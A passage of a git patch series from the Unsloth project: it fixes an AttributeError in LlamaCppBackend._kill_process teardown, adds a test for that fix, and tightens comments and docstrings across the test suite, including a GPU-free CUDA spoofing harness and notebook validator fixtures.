+              strokeWidth={2}
+              className="size-4"
+            />
+          ),
+          warning: (
+            <HugeiconsIcon
+              icon={Alert02Icon}
+              strokeWidth={2}
+              className="size-4"
+            />
+          ),
+          error: (
+            <HugeiconsIcon
+              icon={MultiplicationSignCircleIcon}
+              strokeWidth={2}
+              className="size-4"
+            />
+          ),
+          // App-wide arc spinner so loading toasts match the "Downloading model" toast.
+          loading: <Spinner className="size-4 text-muted-foreground" />,
+        }}
+        style={
+          {
+            "--normal-bg": "var(--popover)",
+            "--normal-text": "var(--popover-foreground)",
+            // No border line; elevation comes from the composer's drop shadow.
+            "--normal-border": "transparent",
+            "--border-radius": "var(--radius)",
+            // Pin the close button inside the toast's top-right corner.
+            // Sonner defaults to the left/outside edge, so keep the horizontal
+            // override here and the top offset in index.css.
+            "--toast-close-button-start": "unset",
+            "--toast-close-button-end": "8px",
+            "--toast-close-button-transform": "none",
+          } as React.CSSProperties
+        }
+        // No swipe gestures; text selection handled by the wrapper above.
+        swipeDirections={[]}
+        toastOptions={{
+          classNames: {
+            toast: "cn-toast",
+            description: "!text-muted-foreground",
+          },
+        }}
+        {...props}
+      />
+    </div>
   );
 };
 

From 1b697ed6fcc2873594548a7bab1ee9cc21dd9092 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 00:05:43 -0700
Subject: [PATCH 58/91] Fix _kill_process AttributeError when _stats_logger is
 unset (#6417)

* Fix _kill_process AttributeError when _stats_logger is unset

LlamaCppBackend._kill_process references self._stats_logger in its finally
block, but __init__ only sets self._stats_logger = None partway through. If
__init__ raises before that line, or the backend is built via __new__ (as the
kill-path unit test does), teardown crashes with AttributeError instead of
cleaning up the process.

Guard the reference with getattr, matching the existing
hasattr(self, '_chat_template_file') guard in the same finally block. Fixes
test_kill_process_records_timestamp_on_actual_kill.

* Also guard _stdout_thread in _kill_process teardown

Review follow-up: the same finally block also reads self._stdout_thread, which
is unset on a partially-built / __new__ backend. Guard it with getattr like
_llama_log_fh below, and add a test that _kill_process tolerates a backend with
those optional attrs unset. Trim the _stats_logger comment.

---------

Co-authored-by: Michael Han <michaelhan2050@gmail.com>
---
 studio/backend/core/inference/llama_cpp.py    |  9 ++++++---
 .../test_llama_cpp_wait_for_vram_settle.py    | 20 +++++++++++++++++++
 2 files changed, 26 insertions(+), 3 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 31e5d9dec0..062944264a 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -6125,7 +6125,9 @@ class LlamaCppBackend:
         except Exception as e:
             logger.warning(f"Error killing llama-server process: {e}")
         finally:
-            if self._stats_logger is not None:
+            # getattr: teardown must tolerate a partially-built backend (failed
+            # __init__ or a __new__-built instance), as with _llama_log_fh below.
+            if getattr(self, "_stats_logger", None) is not None:
                 self._stats_logger.stop()
                 self._stats_logger = None
             self._process = None
@@ -6135,8 +6137,9 @@ class LlamaCppBackend:
             # Drives _wait_for_vram_settle in the next load_model; set in finally
             # so both in-process and frontend Apply paths record the kill.
             self._last_kill_monotonic = time.monotonic()
-            if self._stdout_thread is not None:
-                self._stdout_thread.join(timeout = 2)
+            stdout_thread = getattr(self, "_stdout_thread", None)
+            if stdout_thread is not None:
+                stdout_thread.join(timeout = 2)
                 self._stdout_thread = None
             fh = getattr(self, "_llama_log_fh", None)
             if fh is not None:
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
index 91979e3e0f..c103c6394a 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
@@ -309,6 +309,26 @@ def test_kill_process_records_timestamp_on_actual_kill():
     assert before <= backend._last_kill_monotonic <= after
 
 
+def test_kill_process_tolerates_partially_constructed_backend():
+    # Teardown must not AttributeError on a __new__-built backend that never ran
+    # __init__: _stats_logger / _stdout_thread / _llama_log_fh are left unset.
+    backend = LlamaCppBackend.__new__(LlamaCppBackend)
+
+    class _FakeProcess:
+        def terminate(self):
+            pass
+
+        def wait(self, timeout = None):
+            return 0
+
+        def kill(self):
+            pass
+
+    backend._process = _FakeProcess()
+    backend._kill_process()
+    assert backend._process is None
+
+
 def test_helper_is_static_method_callable_off_class():
     """Pin the @staticmethod binding so call sites can invoke off the class."""
     ctx, _state = _patch_probe([[]])

From a6dc10dad2e16283f13ba62c85bbba727597f561 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 01:07:09 -0700
Subject: [PATCH 59/91] Reduce and tighten comments and docstrings across the
 test suite (#6429)

* Reduce and tighten comments and docstrings in tests

Shorten verbose comments and docstrings across the test suite without
changing any test logic. Remove narration that restates the next line,
collapse long module and test docstrings to a single line, and drop banner
separators. Keep regression context (issue and PR references, run ids),
skip reasons, mocking and timing rationale, license headers, lint and type
directives, and commented-out code.

Comments and docstrings only: an AST signature check confirms no code,
assertions, or string literals changed, and the suite byte-compiles cleanly.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/_zoo_aggressive_cuda_spoof.py           |  23 +-
 tests/conftest.py                             |  36 +-
 tests/notebooks/test_validator_fixtures.py    |  40 +-
 ...test_construct_chat_template_validation.py |  26 +-
 tests/python/test_cross_platform_parity.py    |   6 +-
 tests/python/test_e2e_no_torch_sandbox.py     | 143 +----
 .../test_fast_language_model_text_only.py     |  38 +-
 ...sentence_transformer_redirect_lifecycle.py |  19 +-
 tests/python/test_install_python_stack.py     |   2 -
 tests/python/test_no_torch_filtering.py       |  47 +-
 .../test_orpo_processor_text_tokenizer.py     |   3 +-
 .../test_patch_trl_rl_trainers_defensive.py   |  10 +-
 tests/python/test_studio_import_no_torch.py   |  27 +-
 .../test_tokenizers_and_torch_constraint.py   |  65 +-
 .../test_unsloth_run_tool_policy_resolver.py  |  11 +-
 tests/saving/gpt-oss-merge/train_and_merge.py |   4 +-
 .../test_merge_4bit_validation.py             |   7 +-
 .../test_merge_model_perplexity_llama-3.2.py  |   2 +-
 .../test_merge_model_perplexity_mistral.py    |   2 +-
 .../test_merge_model_perplexity_phi_4.py      |   4 +-
 ...st_merged_model_perplexity_llama-3.1-8b.py |   1 -
 .../test_merged_model_perplexity_qwen_2.5.py  |   4 +-
 .../test_push_to_hub_merged.py                |  11 +-
 ...t_push_to_hub_merged_sharded_index_file.py |   2 +-
 .../test_save_merged_grpo_model.py            |  54 +-
 .../saving/non_peft/test_whisper_non_peft.py  |   2 +-
 .../test_preserve_tokenizer_eos_token.py      |   2 +-
 .../test_save_subprocess_utf8_encoding.py     |  52 +-
 tests/saving/test_unsloth_save.py             |  14 +-
 .../saving/text_to_speech_models/test_csm.py  |  29 +-
 .../saving/text_to_speech_models/test_lasa.py |  36 +-
 .../text_to_speech_models/test_orpheus.py     |   2 +-
 .../text_to_speech_models/test_whisper.py     |   3 +-
 .../test_index_file_sharded_model.py          |   2 +-
 .../vision_models/test_push_to_hub_merged.py  |  16 +-
 ..._merge_qwen2.5vl32B_model_ocr_benchmark.py |   4 +-
 ...t_save_merge_vision_model_ocr_benchmark.py |  11 +-
 tests/security/conftest.py                    |  12 +-
 tests/security/fixtures/_build.py             |  26 +-
 tests/security/test_lint_workflow_triggers.py |  12 +-
 .../test_lockfile_supply_chain_audit.py       |  53 +-
 tests/security/test_new_install_scripts.py    |  16 +-
 tests/security/test_scan_npm_packages.py      |  67 +-
 tests/security/test_scan_packages.py          | 110 +---
 tests/studio/_playwright_robust.py            | 135 ++--
 tests/studio/install/conftest.py              |   8 +-
 .../smoke_test_parallel_studio_home.py        |  44 +-
 tests/studio/install/test_cuda_repair.py      |  42 +-
 .../install/test_gpu_detection_followups.py   |  52 +-
 tests/studio/install/test_hf_auth.py          |  11 +-
 .../test_install_llama_prebuilt_logic.py      |  71 +--
 .../install/test_launch_studio_launcher.py    |  21 +-
 .../install/test_llama_pr_force_and_source.py |  56 +-
 .../install/test_macos_version_compat.py      |  24 +-
 tests/studio/install/test_pr4562_bugfixes.py  | 147 ++---
 tests/studio/install/test_pr5940_followups.py |  51 +-
 tests/studio/install/test_probe_timeouts.py   |  49 +-
 tests/studio/install/test_rocm_support.py     | 445 ++++---------
 tests/studio/install/test_selection_logic.py  | 269 +++-----
 tests/studio/load_freeze/llama_server_shim.py |  25 +-
 .../load_freeze/test_load_orchestrator.py     | 178 ++----
 tests/studio/playwright_chat_ime_i18n.py      | 142 ++---
 tests/studio/playwright_chat_ui.py            | 582 +++++-------------
 tests/studio/playwright_extra_ui.py           | 148 ++---
 tests/studio/run_real_mlx_smoke.py            | 133 ++--
 tests/studio/studio_api_smoke.py              | 134 +---
 tests/studio/test_auth_form_input_count.py    |  56 +-
 tests/studio/test_cancel_atomicity.py         |  10 +-
 tests/studio/test_cancel_id_wiring.py         |  32 +-
 tests/studio/test_cli_repo_variant.py         |  18 +-
 tests/studio/test_cli_run_alias.py            |  10 +-
 tests/studio/test_cli_studio_defaults.py      |  19 +-
 tests/studio/test_cli_studio_stop_windows.py  |  13 +-
 .../test_composer_rtl_bidi_attribute.py       |  40 +-
 tests/studio/test_frontend_dep_removal.py     |  72 +--
 tests/studio/test_hardware_dispatch_matrix.py |  51 +-
 tests/studio/test_is_mlx_dispatch_gate.py     |  68 +-
 .../test_stream_cancel_registration_timing.py |  77 +--
 .../test_studio_gguf_export_script_pin.py     |  15 +-
 .../test_studio_text_descender_clipping.py    |  10 +-
 tests/test_callback_signature_drift.py        |  76 +--
 tests/test_cli_export_unpacking.py            |  42 +-
 tests/test_enforce_kwargs_spacing.py          |  33 +-
 tests/test_finetune_last_n_layers.py          |   9 +-
 tests/test_gemma4_chat_template.py            |   2 +-
 tests/test_import_fixes_drift.py              | 168 ++---
 tests/test_loader_glob_skip.py                |  26 +-
 tests/test_model_registry.py                  |  10 +-
 tests/test_multi_image_grpo_chunking.py       |   4 +-
 tests/test_nvfp4_quant_load.py                |  12 +-
 tests/test_public_api_surface.py              |  26 +-
 tests/test_raw_text.py                        |  67 +-
 tests/test_studio_install_workspace_guard.py  | 227 ++-----
 tests/test_studio_root_resilience.py          |  30 +-
 tests/test_video_path_validation.py           |  10 +-
 tests/test_windows_rocm_bnb_version.py        |  32 +-
 tests/utils/aime_eval.py                      |  22 +-
 tests/utils/cleanup_utils.py                  |  31 +-
 tests/utils/data_utils.py                     |   7 +-
 tests/utils/generate_dataset_with_none.py     |  24 +-
 tests/utils/hf_utils.py                       |   7 +-
 tests/utils/ocr_eval.py                       |  18 +-
 tests/utils/os_utils.py                       |   2 -
 tests/utils/perplexity_eval.py                |   2 +-
 tests/utils/run_none_detect_tests.py          |  98 +--
 .../test_batched_leftpad_generation_gpu.py    |  18 +-
 tests/utils/test_packing.py                   |   6 +-
 tests/utils/test_prepare_inputs_leftpad.py    |  40 +-
 tests/utils/test_q_galore.py                  |  58 +-
 tests/utils/test_qat.py                       |  32 +-
 tests/utils/test_rope_scaling_drift.py        |  18 +-
 tests/utils/test_trunc_normal_patch.py        |   2 +-
 tests/version_compat/_fetch.py                |  18 +-
 .../test_bitsandbytes_pinned_symbols.py       |  59 +-
 .../test_peft_pinned_symbols.py               |  38 +-
 ...st_sentence_transformers_pinned_symbols.py |  72 +--
 .../test_transformers_pinned_symbols.py       | 140 +----
 .../test_trl_grpo_pinned_symbols.py           | 293 +++------
 ..._unsloth_zoo_save_merged_pinned_symbols.py |  13 +-
 .../test_extended_module_imports.py           |  80 +--
 tests/vllm_compat/test_unsloth_zoo_imports.py |  40 +-
 tests/vllm_compat/test_vllm_pinned_symbols.py | 112 +---
 122 files changed, 1837 insertions(+), 4501 deletions(-)

diff --git a/tests/_zoo_aggressive_cuda_spoof.py b/tests/_zoo_aggressive_cuda_spoof.py
index dafe81c829..05889d5df2 100644
--- a/tests/_zoo_aggressive_cuda_spoof.py
+++ b/tests/_zoo_aggressive_cuda_spoof.py
@@ -1,12 +1,12 @@
 # Auto-generated by .github/workflows/consolidated-tests-ci.yml.
 # Aggressive CUDA spoof for the consolidated CPU-only CI job. Extends
-# tests/conftest.py's import-time harness with deeper patches that unblock
-# more patch_* and unsloth_zoo init paths on a GPU-less runner. Imported by
-# every shim test file before any unsloth / unsloth_zoo / transformers import.
+# tests/conftest.py's harness with deeper patches that unblock more patch_* /
+# unsloth_zoo init paths on a GPU-less runner. Imported by every shim test
+# file before any unsloth / unsloth_zoo / transformers import.
 #
 # Only no-op or value-returning patches; tensor allocators are NOT replaced.
-# The one exception is dropping `pin_memory=True` (a CUDA-host fast-copy hint
-# that is meaningless here), which downgrades a CUDA-required call to CPU-OK.
+# The one exception is dropping `pin_memory=True` (meaningless here), which
+# downgrades a CUDA-required call to CPU-OK.
 
 from __future__ import annotations
 
@@ -87,12 +87,11 @@ def apply() -> None:
     # random API
     # CRITICAL: torch.manual_seed() calls torch.cuda.manual_seed_all(), so
     # routing the cuda seed APIs back through torch.manual_seed would
-    # infinite-recurse (RecursionError in CI). No-op them; CUDA-side seeding
-    # is meaningless on a GPU-less runner.
+    # infinite-recurse. No-op them; CUDA seeding is meaningless on CPU.
     torch.cuda.manual_seed = lambda *a, **k: None  # type: ignore[assignment]
     torch.cuda.manual_seed_all = lambda *a, **k: None  # type: ignore[assignment]
-    # rng_state APIs: return a CPU-shaped placeholder, accept anything for set;
-    # do NOT route through torch.{get,set}_rng_state (those touch the CPU RNG).
+    # rng_state APIs: return a CPU-shaped placeholder; do NOT route through
+    # torch.{get,set}_rng_state (those touch the CPU RNG).
     import torch as _t
 
     _empty_rng_state = _t.empty(0, dtype = _t.uint8)
@@ -135,8 +134,7 @@ def apply() -> None:
     torch.cuda.current_stream = lambda *a, **k: _NoopStream()  # type: ignore[assignment]
     torch.cuda.default_stream = lambda *a, **k: _NoopStream()  # type: ignore[assignment]
 
-    # pin_memory drop: torch.empty(..., pin_memory=True) and friends raise on
-    # a CPU-only build; strip the kwarg since pin_memory has no meaning here.
+    # pin_memory drop: pin_memory=True raises on a CPU-only build; strip the kwarg.
     for _name in (
         "empty",
         "zeros",
@@ -168,8 +166,7 @@ def apply() -> None:
     if hasattr(torch.Tensor, "is_pinned"):
         torch.Tensor.is_pinned = lambda self, *a, **k: False  # type: ignore[assignment]
 
-    # amp.GradScaler: use the real one if importable (newer torch handles CPU),
-    # else stub.
+    # amp.GradScaler: use the real one if importable (newer torch handles CPU), else stub.
     try:
         import torch.cuda.amp  # type: ignore
     except Exception:
diff --git a/tests/conftest.py b/tests/conftest.py
index 4b7081b30b..3478a19af8 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -3,13 +3,10 @@
 
 """GPU-free test harness.
 
-unsloth's import chain hits unsloth_zoo.device_type, which calls
-get_device_type() at import time and raises NotImplementedError on CI
-runners with no CUDA / XPU / HIP visible. Pre-load the real
-unsloth_zoo.device_type under a temporarily-mocked
-torch.cuda.is_available() so its @cache permanently captures "cuda".
-On a real accelerator the pre-load is skipped and detection runs
-normally.
+unsloth_zoo.device_type calls get_device_type() at import time and raises
+NotImplementedError on CI runners with no CUDA/XPU/HIP. Pre-load it under a
+mocked torch.cuda.is_available()==True so its @cache permanently captures
+"cuda"; on a real accelerator the pre-load is skipped.
 
 Mirrors the conftest harness in unslothai/unsloth-zoo PR #624.
 """
@@ -41,12 +38,9 @@ def _has_real_accelerator() -> bool:
 
 
 def _preload_device_type(package: str, prereqs: tuple[str, ...] = ()) -> bool:
-    """Pre-load <package>.device_type under a mocked
-    torch.cuda.is_available() == True so its @cache permanently
-    captures "cuda". prereqs lists submodule names of <package> that
-    must be loaded first (e.g. 'utils' for unsloth_zoo). Returns False
-    if the package or any prerequisite cannot be imported, in which
-    case the caller falls back to a stub."""
+    """Pre-load <package>.device_type under a mocked is_available()==True so its
+    @cache captures "cuda"; prereqs are submodules to load first (e.g. 'utils').
+    Returns False if anything is unimportable, so the caller falls back to a stub."""
     target = f"{package}.device_type"
     if target in sys.modules:
         return True
@@ -98,11 +92,9 @@ def _preload_device_type(package: str, prereqs: tuple[str, ...] = ()) -> bool:
 
 
 def _patch_torch_cuda_for_import() -> None:
-    """Stub torch.cuda.* probes that fire at IMPORT time of unsloth /
-    unsloth_zoo when DEVICE_TYPE was forced to "cuda" above. These are
-    queries, not real GPU work, so returning plausible Ampere values
-    lets the import chain finish; tests that touch real tensors run on
-    CPU like normal."""
+    """Stub the torch.cuda.* probes fired at import time once DEVICE_TYPE is
+    forced to "cuda"; returning plausible Ampere values lets the import finish
+    (real-tensor tests still run on CPU)."""
     try:
         import torch.cuda.memory as _cuda_memory  # type: ignore
         _cuda_memory.mem_get_info = lambda *a, **k: (0, 80 * 1024**3)
@@ -140,11 +132,9 @@ if not _has_real_accelerator():
 
 
 # ---------------------------------------------------------------------------
-# Apply upstream-drift fixes (vllm/triton/peft) by triggering ``import
-# unsloth``; they live in ``unsloth/import_fixes.py`` and run at import time.
-# The GPU-free harness above lets ``import unsloth`` survive CPU-only runners.
-# Suites without unsloth keep passing -- the ImportError is swallowed and the
-# drift detectors surface anything the missing patches would have hidden.
+# Apply upstream-drift fixes (vllm/triton/peft) by triggering ``import unsloth``
+# (they run at import time in unsloth/import_fixes.py). The harness above lets
+# the import survive CPU-only runners; the ImportError is swallowed otherwise.
 # ---------------------------------------------------------------------------
 
 
diff --git a/tests/notebooks/test_validator_fixtures.py b/tests/notebooks/test_validator_fixtures.py
index 836bb96715..56608bff53 100644
--- a/tests/notebooks/test_validator_fixtures.py
+++ b/tests/notebooks/test_validator_fixtures.py
@@ -1,22 +1,9 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""
-Golden-fixture tests for scripts/notebook_validator.py.
+"""Golden-fixture tests for scripts/notebook_validator.py: each reconstructs a broken install cell from an unslothai/notebooks PR and asserts the matching rule fires (and falls silent after the fix).
 
-Each test reconstructs the broken-state install cell that one of the
-referenced unslothai/notebooks PRs fixed, and asserts the matching rule
-fires. The fixed-state tests prove the rule falls silent after the fix.
-
-Cross-references:
-  PR #258  -> R-INST-003  (peft/torchao floor)
-  PR #260  -> R-EXC-001   (DONT_UPDATE_EXCEPTIONS coverage; covered by
-                            an integration test pointing at a real
-                            notebooks checkout)
-  PR #261a -> R-INST-004  (torch/torchcodec ABI)
-  PR #261b -> R-INST-005  (transformers --no-deps + tokenizers window)
-  PR #264  -> R-INST-005  (same class as #261b)
-  PR #221  -> R-INST-001  (forbid git+ HEAD installs)
-  51b1462  -> R-DRIFT-001 (drift; integration-tested separately)
+Cross-references: PR #258->R-INST-003, #260->R-EXC-001, #261a->R-INST-004,
+#261b/#264->R-INST-005, #221->R-INST-001, 51b1462->R-DRIFT-001.
 """
 
 from __future__ import annotations
@@ -32,9 +19,7 @@ sys.path.insert(0, str(SCRIPTS_DIR))
 
 import notebook_validator as nv  # noqa: E402
 
-# Snapshot of Colab GPU pip-freeze that recreates the bug environments
-# below. Real CI uses scripts/data/colab_pip_freeze.gpu.txt; tests use a
-# small inline subset so the unit cases are hermetic.
+# Inline subset of Colab GPU pip-freeze recreating the bug environments (CI uses scripts/data/colab_pip_freeze.gpu.txt).
 COLAB_2026_05 = {
     "torch": "2.10.0+cu128",
     "torchao": "0.10.0",
@@ -129,13 +114,11 @@ def test_r_inst_004_silent_when_torch_2_7_with_torchcodec_0_5():
 
 
 def test_r_inst_005_fires_no_deps_transformers_55_without_tokenizers_pin(monkeypatch):
-    """PR #264: --no-deps transformers==5.5.0 leaves Colab tokenizers in
-    place; if Colab ever ships tokenizers > 0.23.0 this breaks."""
+    """PR #264: --no-deps transformers==5.5.0 leaves Colab tokenizers in place; breaks if Colab ships tokenizers > 0.23.0."""
     cell = """%%capture
 !pip install --no-deps transformers==5.5.0
 """
-    # Fake a Colab snapshot where tokenizers has just bumped past the window
-    # transformers 5.5.0 supports.
+    # Colab snapshot where tokenizers bumped past transformers 5.5.0's window.
     colab = dict(COLAB_2026_05, tokenizers = "0.23.5")
 
     def fake_meta(name, version):
@@ -168,9 +151,7 @@ def test_r_inst_005_silent_when_no_deps_pins_tokenizers(monkeypatch):
 
 
 def test_r_inst_005_silent_without_no_deps(monkeypatch):
-    """If --no-deps is absent, pip resolves tokenizers transitively; the
-    rule must NOT fire (this is the false-positive case from notebooks like
-    Whisper.ipynb that pin transformers but rely on pip's resolver)."""
+    """Without --no-deps, pip resolves tokenizers transitively; rule must NOT fire (false-positive case from e.g. Whisper.ipynb)."""
     cell = """%%capture
 !pip install transformers==4.51.3
 """
@@ -259,9 +240,7 @@ def _live_notebooks_dir() -> Path | None:
     reason = "unslothai/notebooks not cloned at sibling path",
 )
 def test_exceptions_passes_on_head():
-    """L1.2 must be silent on the live HEAD of unslothai/notebooks. If this
-    test fires, either DONT_UPDATE_EXCEPTIONS gained a notebook missing a
-    policy clause (real bug) or the policy clause set is stale."""
+    """L1.2 must be silent on live unslothai/notebooks HEAD; a fire means a DONT_UPDATE_EXCEPTIONS notebook lost its policy clause or the clause set is stale."""
     findings = nv.rule_l12_exceptions_coverage(_live_notebooks_dir())
     assert findings == [], findings
 
@@ -271,8 +250,7 @@ def test_exceptions_passes_on_head():
     reason = "unslothai/notebooks not cloned at sibling path",
 )
 def test_lint_smoke_no_module_errors():
-    """The lint subcommand should walk every nb/kaggle without crashing.
-    (We accept findings -- those are the validator doing its job.)"""
+    """The lint subcommand walks every nb/kaggle without crashing (findings are fine)."""
     import subprocess
 
     rc = subprocess.run(
diff --git a/tests/python/test_construct_chat_template_validation.py b/tests/python/test_construct_chat_template_validation.py
index 9ab68639c4..2b1d012d14 100644
--- a/tests/python/test_construct_chat_template_validation.py
+++ b/tests/python/test_construct_chat_template_validation.py
@@ -1,15 +1,10 @@
 """Negative-path validation tests for unsloth.chat_templates.construct_chat_template.
 
-Regression coverage for the str.find() / regex no-match guards added in
-PR #5763 follow-up: missing placeholders or unrecoverable two-example
-structures must raise RuntimeError with a clear message, not IndexError
-or AttributeError, and must never silently drop the last character via
-s[:-1].
-
-Uses a minimal fake tokenizer so the cases run on CPU-only CI without
-HF_TOKEN and without downloading a gated model. The validation paths
-exercised here fail before construct_chat_template reaches any heavy
-tokenizer interaction, so the stub stays small.
+Regression coverage for the no-match guards added in the PR #5763 follow-up:
+missing placeholders or unrecoverable two-example structures must raise
+RuntimeError with a clear message (not IndexError/AttributeError) and must
+not silently drop the last char via s[:-1]. A minimal fake tokenizer keeps
+the cases CPU-only (no HF_TOKEN, no gated download).
 """
 
 import pytest
@@ -18,8 +13,7 @@ from unsloth.chat_templates import construct_chat_template
 
 
 class _FakeTokenizer:
-    """Minimum surface construct_chat_template touches before the
-    validation guards fire."""
+    """Minimal surface construct_chat_template touches before the guards fire."""
 
     name_or_path = "fake/tokenizer"
     eos_token = "</s>"
@@ -48,9 +42,8 @@ def test_missing_placeholder_in_chat_template_raises(template, expected_in_messa
 
 
 def test_single_pair_template_raises_clear_error_not_attribute_error():
-    """One {INPUT}/{OUTPUT} pair (rather than the required two) used to
-    crash with AttributeError on `found.group(1)` after the for-loop
-    broke without setting `found`. Must raise RuntimeError now."""
+    """A single {INPUT}/{OUTPUT} pair must raise RuntimeError, not the old
+    AttributeError on `found.group(1)` when the loop broke without setting `found`."""
     template = "user: {INPUT}\nassistant: {OUTPUT}\n"
     with pytest.raises(RuntimeError):
         construct_chat_template(
@@ -71,7 +64,6 @@ def test_error_message_excerpt_is_bounded():
             extra_eos_tokens = ["</s>"],
         )
     msg = str(exc_info.value)
-    # Excerpt is repr-quoted and capped; total message should stay well
-    # under the template length.
+    # Excerpt is capped well under the template length.
     assert len(msg) < 1000
     assert "{OUTPUT}" in msg
diff --git a/tests/python/test_cross_platform_parity.py b/tests/python/test_cross_platform_parity.py
index 34f984714e..666ea7ce10 100644
--- a/tests/python/test_cross_platform_parity.py
+++ b/tests/python/test_cross_platform_parity.py
@@ -13,11 +13,7 @@ INSTALL_PS1 = REPO_ROOT / "install.ps1"
 
 
 class TestNoTorchBackendAutoInInstallSh:
-    """install.sh primary install paths must not use --torch-backend=auto.
-
-    The fallback else-branch (when TORCH_INDEX_URL is empty) is allowed to
-    use --torch-backend=auto since that is the last-resort recovery path.
-    """
+    """install.sh primary paths must not use --torch-backend=auto (only the fallback else-branch may)."""
 
     def test_no_torch_backend_auto_outside_fallback(self):
         lines = INSTALL_SH.read_text(encoding = "utf-8").splitlines()
diff --git a/tests/python/test_e2e_no_torch_sandbox.py b/tests/python/test_e2e_no_torch_sandbox.py
index 9b3bda133f..7da7cf0eae 100644
--- a/tests/python/test_e2e_no_torch_sandbox.py
+++ b/tests/python/test_e2e_no_torch_sandbox.py
@@ -1,13 +1,4 @@
-"""E2E sandbox tests for PR #4624 (fix/install-mac-intel-no-torch): BEFORE
-(top-level torch) crashes, AFTER (lazy imports) works, broken/partial torch,
-CPU hardware fallback, install.sh parsing, NO_TORCH filtering, and live server.
-
-Run:
-    # Lightweight (Groups 1-6):
-    python -m pytest tests/python/test_e2e_no_torch_sandbox.py -v -k "not server"
-    # Server (Group 7, requires studio venv):
-    python -m pytest tests/python/test_e2e_no_torch_sandbox.py -v -m server
-"""
+"""E2E sandbox tests for PR #4624: lazy torch imports, CPU fallback, install.sh parsing, NO_TORCH filtering, live server."""
 
 from __future__ import annotations
 
@@ -23,10 +14,6 @@ from unittest import mock
 
 import pytest
 
-# ---------------------------------------------------------------------------
-# Paths
-# ---------------------------------------------------------------------------
-
 REPO_ROOT = Path(__file__).resolve().parents[2]
 STUDIO_DIR = REPO_ROOT / "studio"
 BACKEND_DIR = STUDIO_DIR / "backend"
@@ -45,17 +32,11 @@ HARDWARE_PY = HARDWARE_DIR / "hardware.py"
 # Studio venv for server tests
 STUDIO_VENV = Path.home() / ".unsloth" / "studio" / "unsloth_studio"
 
-# Add studio to path for install_python_stack imports
 sys.path.insert(0, str(STUDIO_DIR))
 
 
-# ---------------------------------------------------------------------------
-# Cross-platform helpers
-# ---------------------------------------------------------------------------
-
-
 def _venv_python(venv_dir: Path) -> Path:
-    """Return the Python executable path for a venv, cross-platform."""
+    """Return a venv's Python executable path, cross-platform."""
     if sys.platform == "win32":
         return venv_dir / "Scripts" / "python.exe"
     return venv_dir / "bin" / "python"
@@ -76,7 +57,6 @@ def _create_no_torch_venv(venv_dir: Path, python_version: str = "3.12") -> Path
     py = _venv_python(venv_dir)
     if not py.exists():
         return None
-    # Verify torch is NOT importable
     check = subprocess.run([str(py), "-c", "import torch"], capture_output = True)
     if check.returncode == 0:
         return None
@@ -107,13 +87,8 @@ def _run_sh(script: str, timeout: int = 30) -> subprocess.CompletedProcess:
     )
 
 
-# ---------------------------------------------------------------------------
-# Stub generators
-# ---------------------------------------------------------------------------
-
-
 def _write_loggers_stub(sandbox: Path) -> None:
-    """Create a minimal loggers package stub (replaces structlog-backed real one)."""
+    """Create a minimal loggers package stub (replaces the structlog-backed real one)."""
     loggers_dir = sandbox / "loggers"
     loggers_dir.mkdir(exist_ok = True)
     (loggers_dir / "__init__.py").write_text(
@@ -165,11 +140,6 @@ def _write_hardware_stub(sandbox: Path) -> None:
     )
 
 
-# ---------------------------------------------------------------------------
-# Fixtures
-# ---------------------------------------------------------------------------
-
-
 @pytest.fixture(scope = "session")
 def repo_root():
     return REPO_ROOT
@@ -183,10 +153,7 @@ def sandbox_dir(tmp_path):
 
 @pytest.fixture(params = ["3.12", "3.13"], scope = "module")
 def no_torch_venv(request, tmp_path_factory):
-    """Create a temporary uv venv with no torch.
-
-    Parametrized for 3.12 (Intel Mac default) and 3.13 (Apple Silicon/Linux).
-    """
+    """Temporary uv venv with no torch; 3.12 = Intel Mac default, 3.13 = Apple Silicon/Linux."""
     if not _has_uv():
         pytest.skip("uv not available")
 
@@ -198,20 +165,16 @@ def no_torch_venv(request, tmp_path_factory):
     return str(py)
 
 
-# ===========================================================================
-# Group 1: BEFORE vs AFTER -- Import Chain (6 tests)
-# ===========================================================================
+# Group 1: BEFORE vs AFTER -- Import Chain
 
 
 class TestBeforeAfterImportChain:
-    """BEFORE (PR files with a synthetic top-level torch import, simulating
-    main) crashes; AFTER (PR files as-is, lazy imports) works."""
+    """BEFORE (synthetic top-level torch import) crashes; AFTER (lazy imports) works."""
 
     # -- BEFORE: crashes --
 
     def test_before_chat_templates_crashes(self, no_torch_venv, sandbox_dir):
-        """BEFORE: chat_templates.py with top-level 'from torch.utils.data import
-        IterableDataset' crashes without torch."""
+        """BEFORE: chat_templates.py with top-level IterableDataset import crashes without torch."""
         source = CHAT_TEMPLATES.read_text(encoding = "utf-8")
         before_source = "from torch.utils.data import IterableDataset\n" + source
 
@@ -284,7 +247,6 @@ class TestBeforeAfterImportChain:
             encoding = "utf-8",
         )
 
-        # Minimal __init__.py that triggers the chain
         (pkg_dir / "__init__.py").write_text(
             textwrap.dedent("""\
                 from .format_detection import detect_dataset_format
@@ -365,7 +327,6 @@ class TestBeforeAfterImportChain:
             if src.exists():
                 shutil.copy2(src, pkg_dir / src.name)
 
-        # Minimal __init__.py
         (pkg_dir / "__init__.py").write_text(
             textwrap.dedent("""\
                 from .format_detection import detect_dataset_format, detect_custom_format_heuristic
@@ -402,14 +363,11 @@ class TestBeforeAfterImportChain:
         assert b"OK: full import chain succeeded" in result.stdout
 
 
-# ===========================================================================
-# Group 2: Dataclass Instantiation (4 tests)
-# ===========================================================================
+# Group 2: Dataclass Instantiation
 
 
 class TestDataclassInstantiation:
-    """Verify dataclass collators can be instantiated and constants accessed
